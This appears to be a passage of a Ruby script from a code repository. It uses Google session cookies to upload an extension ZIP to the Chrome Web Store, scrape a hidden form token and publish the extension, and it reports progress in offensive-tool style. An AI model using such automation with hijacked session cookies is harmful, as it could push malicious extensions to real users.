ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read
|
||||
ICON.force_encoding 'utf-8'
|
||||
end
|
||||
|
||||
upload_url = "https://chrome.google.com/webstore/developer/upload"
|
||||
post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+
|
||||
'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+
|
||||
'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+
|
||||
'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+
|
||||
'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}'
|
||||
|
||||
auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"}
|
||||
|
||||
upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body)
|
||||
upload_status = JSON.parse(upload_auth_resp.body)
|
||||
if upload_status['errorMessage'] == nil
|
||||
upload_id = upload_status['sessionStatus']['upload_id']
|
||||
upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000"
|
||||
|
||||
puts "[+] Uploading ZIP..."
|
||||
response = request_octetstream(upload_url, auth_headers)
|
||||
|
||||
upload_status = JSON.parse(response.body)
|
||||
if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED"
|
||||
extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id']
|
||||
puts "[+] Extension uploaded successful. Extension ID: #{extension_id}"
|
||||
|
||||
# Last request, to Publish the extension, requires Language/Category to be set.
|
||||
# A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value,
|
||||
# then send the final multipart/form-data request with that value inside.
|
||||
puts "[+] Fetching edit page..."
|
||||
edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}"
|
||||
edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil)
|
||||
|
||||
cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first
|
||||
if cx_action_t.index('<') != nil # error
|
||||
puts ['[-] Error: Session invalid, update cookies values']
|
||||
exit 1
|
||||
end
|
||||
puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}"
|
||||
puts "[+] Sending #{ACTION} request..."
|
||||
edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION)
|
||||
|
||||
if edit_ext_resp.is_a?(Net::HTTPRedirection)
|
||||
puts "[+] Extension details (category/language) updated."
|
||||
final_location = edit_ext_resp['Location']
|
||||
if ACTION == 'publish'
|
||||
puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}"
|
||||
else
|
||||
puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}"
|
||||
end
|
||||
else
|
||||
if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:<ul>')
|
||||
errors = edit_ext_resp.body.split("Please fix the following errors:<ul>").last.split("</ul>").first.gsub(/<[^>]*>/ui,' ')
|
||||
puts "[-] Errors: #{errors}"
|
||||
end
|
||||
puts "[-] Error updating extension details. Anyway, the extension is uploaded."
|
||||
end
|
||||
else
|
||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
||||
end
|
||||
|
||||
else
|
||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
||||
end
|
||||
Reference in New Issue
Block a user